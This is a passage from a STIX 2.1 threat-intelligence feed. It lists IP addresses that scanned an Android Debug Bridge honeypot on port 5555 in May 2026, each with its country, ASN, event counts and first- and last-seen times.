          "countries": [
            "BG"
          ],
          "asn": [
            "48090"
          ],
          "org": [
            "Techoff Srv Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T07:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-13T06:11:57.000Z | last_seen=2026-05-13T06:22:12.758Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--57eae7f8-7def-4042-be30-0d70181f4535",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '139.59.96.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:00:23.000Z",
      "valid_until": "2026-06-14T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-13T06:11:57.000Z",
          "last_seen": "2026-05-13T06:22:12.758Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T07:00:23.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-13T06:55:36.000Z | last_seen=2026-05-13T07:07:19.019Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--537e4fff-6613-46f4-99d3-ef3d15f1783d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.201']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T07:00:23.000Z",
      "valid_until": "2026-06-14T07:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-13T06:55:36.000Z",
          "last_seen": "2026-05-13T07:07:19.019Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=NL; asn=202412; asn_org=Omegatech LTD; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-13T08:08:49.000Z | last_seen=2026-05-13T08:18:57.694Z | ports=5555 | cc=NL | asn=202412 | org=Omegatech LTD",
      "id": "indicator--a77c1360-0aef-4a92-a9a9-b1d494c9aa29",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '130.12.180.150']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:00:02.000Z",
      "valid_until": "2026-06-14T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-13T08:08:49.000Z",
          "last_seen": "2026-05-13T08:18:57.694Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PH; asn=47154; asn_org=Husam A. H. Hijazi; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T08:10:14.000Z | last_seen=2026-05-13T08:11:15.869Z | ports=5555 | cc=PH | asn=47154 | org=Husam A. H. Hijazi",
      "id": "indicator--ea0962c7-026a-4636-a8d0-44b5b77e4b7e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.110.223.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T09:00:02.000Z",
      "valid_until": "2026-06-14T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T08:10:14.000Z",
          "last_seen": "2026-05-13T08:11:15.869Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PH"
          ],
          "asn": [
            "47154"
          ],
          "org": [
            "Husam A. H. Hijazi"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T12:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=12; ports=5555; cc=IN; asn=135687; asn_org=Qwistel Network Service Private Limited; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=12 | first_seen=2026-05-13T11:39:46.000Z | last_seen=2026-05-13T11:50:03.042Z | ports=5555 | cc=IN | asn=135687 | org=Qwistel Network Service Private Limited",
      "id": "indicator--8dbf2e62-9fa7-4f9e-8b32-b4425ffe4968",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '103.176.16.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T12:00:03.000Z",
      "valid_until": "2026-06-14T12:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 12,
          "first_seen": "2026-05-13T11:39:46.000Z",
          "last_seen": "2026-05-13T11:50:03.042Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "IN"
          ],
          "asn": [
            "135687"
          ],
          "org": [
            "Qwistel Network Service Private Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=10; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-13T14:39:23.000Z | last_seen=2026-05-13T14:49:27.200Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--182707d2-c789-40c8-b64d-ad3a5df02447",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.3']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:00:02.000Z",
      "valid_until": "2026-06-14T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-13T14:39:23.000Z",
          "last_seen": "2026-05-13T14:49:27.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T15:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T14:37:09.000Z | last_seen=2026-05-13T14:38:17.394Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--153a4fea-847a-4f8e-b1cc-418ca6100666",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '74.82.47.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T15:00:02.000Z",
      "valid_until": "2026-06-14T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T14:37:09.000Z",
          "last_seen": "2026-05-13T14:38:17.394Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T15:58:03.000Z | last_seen=2026-05-13T15:59:06.470Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--b41f034b-f306-4e53-a2df-a592fda773ee",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:00:02.000Z",
      "valid_until": "2026-06-14T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T15:58:03.000Z",
          "last_seen": "2026-05-13T15:59:06.470Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T15:58:36.000Z | last_seen=2026-05-13T15:59:37.422Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--bdfe2d0f-a9dc-40c5-b305-8a3c39dac5b9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '173.255.223.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:00:02.000Z",
      "valid_until": "2026-06-14T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T15:58:36.000Z",
          "last_seen": "2026-05-13T15:59:37.422Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=200051; asn_org=Rizki Abdul Azis; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-13T15:26:56.000Z | last_seen=2026-05-18T01:31:52.280Z | ports=5555 | cc=US | asn=200051 | org=Rizki Abdul Azis",
      "id": "indicator--606bfa23-0168-4d6b-98cc-ac74cb900001",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '2.27.62.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:00:02.000Z",
      "valid_until": "2026-06-14T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-13T15:26:56.000Z",
          "last_seen": "2026-05-18T01:31:52.280Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "200051"
          ],
          "org": [
            "Rizki Abdul Azis"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=20; ports=5555; cc=BG; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=20 | first_seen=2026-05-13T15:37:15.000Z | last_seen=2026-05-13T15:47:47.716Z | ports=5555 | cc=BG",
      "id": "indicator--7e8f6048-be0e-4049-bdc6-61191beee7c6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '93.152.208.42']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T16:00:02.000Z",
      "valid_until": "2026-06-14T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 20,
          "first_seen": "2026-05-13T15:37:15.000Z",
          "last_seen": "2026-05-13T15:47:47.716Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T17:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=CA; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-13T16:32:54.000Z | last_seen=2026-05-13T16:34:04.668Z | ports=5555 | cc=CA | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--55b51e36-f9d4-4c23-8c71-d4bdcb63fa2c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '138.197.144.37']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T17:00:02.000Z",
      "valid_until": "2026-06-14T17:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-13T16:32:54.000Z",
          "last_seen": "2026-05-13T16:34:04.668Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CA"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=14 | first_seen=2026-05-13T17:41:34.000Z | last_seen=2026-05-13T17:56:25.393Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--c9d3ff3e-8217-42ba-b8f1-d376d149894a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.52']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T18:00:02.000Z",
      "valid_until": "2026-06-14T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 14,
          "first_seen": "2026-05-13T17:41:34.000Z",
          "last_seen": "2026-05-13T17:56:25.393Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T19:00:21.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-13T18:27:42.000Z | last_seen=2026-05-13T18:37:59.585Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2dd4947b-f37e-41cf-9e28-3c8c8e046123",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.22.205.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T19:00:21.000Z",
      "valid_until": "2026-06-14T19:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-13T18:27:42.000Z",
          "last_seen": "2026-05-13T18:37:59.585Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=EE; asn=43357; asn_org=Owl Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-13T19:03:30.000Z | last_seen=2026-05-14T03:59:03.434Z | ports=5555 | cc=EE | asn=43357 | org=Owl Limited",
      "id": "indicator--ca220309-d155-4990-a662-e0e5b14673f7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '194.127.167.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:00:02.000Z",
      "valid_until": "2026-06-14T20:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-13T19:03:30.000Z",
          "last_seen": "2026-05-14T03:59:03.434Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "EE"
          ],
          "asn": [
            "43357"
          ],
          "org": [
            "Owl Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=RO; asn=214295; asn_org=Skynet Network Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-13T19:18:55.000Z | last_seen=2026-05-13T19:20:00.772Z | ports=5555 | cc=RO | asn=214295 | org=Skynet Network Ltd",
      "id": "indicator--a43de949-0439-4afd-9586-a48a3c12574f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.142.193.161']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-13T20:00:02.000Z",
      "valid_until": "2026-06-14T20:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-13T19:18:55.000Z",
          "last_seen": "2026-05-13T19:20:00.772Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "RO"
          ],
          "asn": [
            "214295"
          ],
          "org": [
            "Skynet Network Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-13T21:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=CN; asn=134763; asn_org=CHINANET Guangdong province network; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-13T20:24:41.000Z | last_seen=2026-05-13T20:25:43.136Z | ports=5555 | cc=CN | asn=134763 | org=CHINANET Guangdong province network",
